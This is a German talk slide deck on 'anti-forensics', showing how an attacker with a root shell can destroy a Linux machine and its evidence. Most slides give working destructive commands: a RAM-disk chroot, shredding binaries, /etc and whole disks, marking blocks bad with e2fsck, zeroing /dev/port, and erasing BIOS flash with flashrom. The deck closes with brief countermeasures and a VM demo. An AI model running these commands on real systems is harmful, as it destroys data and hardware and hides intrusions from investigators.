

# Anti-Forensics 2.0

**Mathias Morbitzer**

Sichere Informationssysteme Bachelor



Rauchen kann Spermatozoen  
schädigen  
und schränkt die Fruchtbarkeit ein

**DON'T TRY THIS AT HOME!**



# Ansatz

Je mehr kaputt ist,  
umso weniger ist da.



# Ansatz

Je mehr kaputt ist,  
umso weniger ist da.

Je weniger da ist, umso  
weniger ist nachvollziehbar

# Agenda

1) Was kaputt machen



# Agenda

- 1) Was kaputt machen
- 2) Mehr kaputt machen



# Agenda

- 1) Was kaputt machen
- 2) Mehr kaputt machen
- 3) Noch mehr kaputt machen

# Agenda

- 1) Was kaputt machen
- 2) Mehr kaputt machen
- 3) Noch mehr kaputt machen
- 4) Alles kaputt machen

# Agenda

- 1) Was kaputt machen
- 2) Mehr kaputt machen
- 3) Noch mehr kaputt machen
- 4) Alles kaputt machen
- 5) Gegenmaßnahmen?

# Ausgangssituation

+ ) Linux-System

+ ) Root-Shell



# Ausgangssituation

- + ) Linux-System
- + ) Root-Shell
- + ) zerstörungswütiger Angreifer

# Ausgangssituation

- + ) Linux-System
- + ) Root-Shell
- + ) zerstörungswütiger Angreifer
- + ) Der Emil von der Hacker-Novelle!

# 1) Was kaputt machen

Erste Idee: `rm -rf /*`



# 1) Was kaputt machen

```
rm: Entfernen von ■/sys/module/mbcache/sections/__ksymtab nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/__kcrctab nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/__ksymtab_strings nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/.data nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/.gnu.linkonce.this_module nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/.bss nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/.symtab nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/sections/.strtab nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/mbcache/notes/.note.gnu.build-id nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/jbd/holders/ext3 nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/jbd/initstate nicht möglich: Die Operation ist nicht erlaubt
rm: Entfernen von ■/sys/module/jbd/refcnt nicht möglich: Die Operation ist nicht erlaubt^C
killme:~#
```

# 1) Was kaputt machen

*chroot steht für „change root“ und ist eine Funktion auf Unix-Systemen, um das Rootverzeichnis zu ändern. Sie wirkt sich nur auf den aktuellen Prozess und seine Kindprozesse aus.*

*Ein Programm, das auf ein Verzeichnis re-rooted wurde, kann nicht mehr auf Dateien außerhalb dieses Verzeichnisses zugreifen*

Danke Wikipedia! :)



# 1) Was kaputt machen shred

overwrite a file to hide its contents, and optionally delete it

-n, --iterations=N

Overwrite N times instead of the default (25)

-z, --zero

add a final overwrite with zeros to hide shredding

-u, --remove

truncate and remove file after overwriting

--random-source=FILE

get random bytes from FILE (default /dev/urandom)





# 1) Was kaputt machen

+ ) Erzeugen eines chroots mittels debootstrap



# 1) Was kaputt machen

- + ) Erzeugen eines chroots mittels debootstrap
- + ) Verkleinern des chroots

# 1) Was kaputt machen

- + ) Erzeugen eines chroots mittels debootstrap
- + ) Verkleinern des chroots
- + ) Unterteilung in /lib und /

# 1) Was kaputt machen

- + ) Erzeugen eines chroots mittels debootstrap
- + ) Verkleinern des chroots
- + ) Unterteilung in /lib und /
- + ) Ordner temp (späteres /) → 7.0 MB
- + ) Ordner temp-lib (späteres /lib/) → 5.5 MB

# 1) Was kaputt machen

1. `mkfs.ext3 -m 0 /dev/ram14`
2. `mkfs.ext3 -m 0 /dev/ram15`
- 3.
4. `mkdir /chroot`
- 5.
6. `mount /dev/ram15 /chroot`
7. `mv /temp/* /chroot/`
- 8.
9. `mount --bind /proc /chroot/proc`
10. `mount --bind /dev/ /chroot/dev`
- 11.
12. `mount /dev/ram14 /chroot/lib`
13. `mv /temp-lib/* /chroot/lib/`
- 14.
15. `mount --bind / /chroot/oldroot/`

# 1) Was kaputt machen shred

+)  
shred -u /oldroot/bin/bash

# 1) Was kaputt machen shred

+)  
`shred -u /oldroot/bin/bash`

+)  
`find /oldroot/etc -type f -ls -exec shred -u {} \;`

# 1) Was kaputt machen shred

+)  
`shred -u /oldroot/bin/bash`

+)  
`find /oldroot/etc -type f -ls -exec shred -u {} \;`

+)  
`shred /dev/sda`

+)  
`shred /dev/hda`



PCI device listing.....

Bus No.	Device No.	Func No.	Vendor ID	Device ID	Dev
0	4	1	8086	7111	IDE
0	4	2	8086	7112	Ser
0	10	0	18EC	8829	Net
1	0	0	1882	4742	Dis

Boot from ATAPI CD-ROM : Failure ...  
DISK BOOT FAILURE, INSERT SYSTEM DISK AND PRESS ENTER



**But ...**



**Where does it GO?**

## 2) Mehr kaputt machen

```
#debugfs -w /dev/hda1
```

```
debugfs 1.41.3 (12-Oct-2008)  
debugfs: dirty  
debugfs: quit
```

## 2) Mehr kaputt machen

```
#debugfs -w /dev/hda1
```

```
debugfs 1.41.3 (12-Oct-2008)  
debugfs: dirty  
debugfs: quit
```

```
#dumpe2fs -h /dev/hda1 | grep state
```

```
dumpe2fs 1.41.3 (12-Oct-2008)  
Filesystem state: not clean
```



## 2) Mehr kaputt machen

*Als defekten Datenblock (engl. Bad Block) bezeichnet man bei Festplatten oder NAND-Flash-Speichern einen unbrauchbar gewordenen, d.h. für Schreib- und Leseoperationen nicht mehr verwendbaren, Datenblock.*

Danke Wikipedia! :)



## 2) Mehr kaputt machen

Anzeigen von badblocks:

```
dumpe2fs -b /dev/sdx1
```



## 2) Mehr kaputt machen

Anzeigen von badblocks:

```
dumpe2fs -b /dev/sdx1
```

Hinzufügen von badblocks

```
e2fsck -l <list> /dev/sdx1
```



## 2) Mehr kaputt machen

Erstellen einer “bad-blocks-liste”:

```
for i in {1..1000};  
do echo $i >> list.txt; done;
```



## 2) Mehr kaputt machen

Erstellen einer “bad-blocks-liste”:

```
for i in {1..1000};  
do echo $i >> list.txt; done;
```

Alle diese Blocks auf defekt setzen:

```
e2fsck -l list.txt /dev/sda1
```



## 2) Mehr kaputt machen

```
# fdisk -l
```

```
Disk /dev/hdb: 2522 MB, 2522677248 bytes  
16 heads, 63 sectors/track, 4888 cylinders  
Units = cylinders of 1008 * 512 = 516096 bytes
```

```
Disk /dev/hdb doesn't contain a valid  
partition table
```





**Electro-kitten is**

**erasing your harddrive**

ICANHASCHEEZBURGER.COM 🍔 💰 🍔



## 3) Noch mehr kaputt machen

/dev/port:

**mem** is a character device file that is an image of the main memory of the computer. It may be used, for example, to examine (and even patch) the system.

**port** is similar to **mem**, but the I/O ports are accessed.

Danke manpages :)



## 3) Noch mehr kaputt machen

Inhalte von */dev/port*:

+ ) PCI-Konfiguration

## 3) Noch mehr kaputt machen

Inhalte von /dev/port:

+ ) PCI-Konfiguration

+ ) Bildschirmsteuerung

## 3) Noch mehr kaputt machen

Inhalte von /dev/port:

- + ) PCI-Konfiguration
- + ) Bildschirmsteuerung
- + ) Lüftersteuerung

## 3) Noch mehr kaputt machen

Inhalte von /dev/port:

- + ) PCI-Konfiguration
- + ) Bildschirmsteuerung
- + ) Lüftersteuerung

Zerstören der Konfigurationen:

```
dd if=/dev/zero of=/dev/port
```

## 3) Noch mehr kaputt machen

Bei neueren PCs:

- + ) Lüftersteuerung erfolgt über ACPI, nicht APM
- + ) Steuerung über `/proc/acpi`

## 3) Noch mehr kaputt machen

Bei neueren PCs:

- + ) Lüftersteuerung erfolgt über ACPI, nicht APM
- + ) Steuerung über /proc/acpi

```
/proc/acpi/fan/FN1/state
```

```
/etc/temperatures
```

## 3) Noch mehr kaputt machen

“Problem” des Angreifers:

BIOS regelt

+) Lüfter

+) Automatische Abschaltung vor Überhitzung

+) etc...

## 4) Alles kaputt machen

its..... so close...



# 4) Alles kaputt machen flashrom



## 4) Alles kaputt machen flashrom

-r, --read <file>

Read flash ROM contents and save them into the given <file>.

-w, --write <file>

Write file into flash ROM.

-f, --force

Force write without checking

-E, --erase

Erase the flash ROM chip.



# Livedemo



## 5) Gegenmaßnahmen

a) keinem das root-Passwort verraten ;)



## 5) Gegenmaßnahmen

- a) keinem das root-Passwort verraten ;)
- b) ssh, etc... im chroot

## 5) Gegenmaßnahmen

- a) keinem das root-Passwort verraten ;)
- b) ssh, etc... im chroot
- c) Virtualisierung

## 5) Gegenmaßnahmen

```
killme (Snapshot 1) [Running] - Sun VirtualBox
Machine Devices Help
Es müssen 108kB an Archiven heruntergeladen werden.
Nach dieser Operation werden 242kB Plattenplatz zusätzlich benutzt.
Möchten Sie fortfahren [J/n]?
Hole:1 http://ftp.at.debian.org lenny/main libpci3 1:3.0.0-6 [45,7kB]
Hole:2 http://ftp.at.debian.org lenny/main flashrom 0.0+r3397-1 [62,1kB]
Es wurden 108kB in 0s geholt (298kB/s)
Wähle vormals abgewähltes Paket libpci3.
(Lese Datenbank ... 15223 Dateien und Verzeichnisse sind derzeit installiert.)
Entpacke libpci3 (aus .../libpci3_1%3a3.0.0-6_i386.deb) ...
Wähle vormals abgewähltes Paket flashrom.
Entpacke flashrom (aus .../flashrom_0.0+r3397-1_i386.deb) ...
Verarbeite Trigger für man-db ...
Richte libpci3 ein (1:3.0.0-6) ...
Richte flashrom ein (0.0+r3397-1) ...
killme:~# flashrom -E
Calibrating delay loop... OK.
No coreboot table found.
WARNING: No chipset found. Flash detection will most likely fail.
No EEPROM/flash device found.
If you know which flash chip you have, and if this version of flashrom
supports a similar flash chip, you can try to force read your chip. Run:
flashrom -f -r -c similar_supported_flash_chip filename

Note: flashrom can never write when the flash chip isn't found automatically.
killme:~# _
```



# 5) Gegenmaßnahmen

```

- killme (Snapshot 1) [Running] - Sun VirtualBox
Machine Devices Help
[ 39.592075] Stack: c0110249 00000200 08058000 c0104368 00000200 00000080 0805
0800 08058000
[ 39.592075] [ c0036000 00000200 00000000 0000007b 0000007b 000000d8 ffff
ff10 c01e2178
[ 39.592075] [ 00000060 00010246 00036000 c0036000 c02207f3 08058000 0000
0000 ce87aec0
[ 39.592075] Call Trace:
[ 39.592075] [<c0110249>] smp_apic_timer_interrupt+0x1b/0x76
[ 39.592075] [<c0104368>] apic_timer_interrupt+0x28/0x30
[ 39.592075] [<c01e2178>] __copy_from_user_ll+0x21/0x2c
[ 39.592075] [<c02207f3>] write_mem+0x61/0xbb
[ 39.592075] [<c0220792>] write_mem+0x0/0xbb
[ 39.592075] [<c0174c78>] vfs_write+0x83/0x120
[ 39.592075] [<c017524a>] sys_write+0x3c/0x63
[ 39.592075] [<c01038d2>] syscall_call+0x7/0xb
[ 39.592075] =====
[ 39.592075] Code: ff ff ff 90 8d 64 24 04 b8 88 00 00 00 0f 00 d0 83 c4 0c 5b
5e c3 8b 44 24 04 89 01 c3 8b 0d 90 0f 35 c0 81 e9 00 40 00 00 01 c1 <89> 11 c3
8b 0d 90 0f 35 c0 87 94 01 00 c0 ff ff c3 b8 68 75 3b
[ 39.592075] EIP: [<c01151a8>] native_apic_write+0xe/0x11 SS:ESP 0068:cf4bbf14
[ 39.592075] ---[ end trace 4eaa2a86a8e2da22 ]---
Speicherzugriffsfehler
killme:~# [ 39.592075] atkbd.c: Spurious NAK on isa0060/serio0. Some program m
ight be trying access hardware directly.

```

**Dunno what happnd**

**We dint touch it**

ICANHASCHEEZBURGER.COM 🍷 🍷 🍷

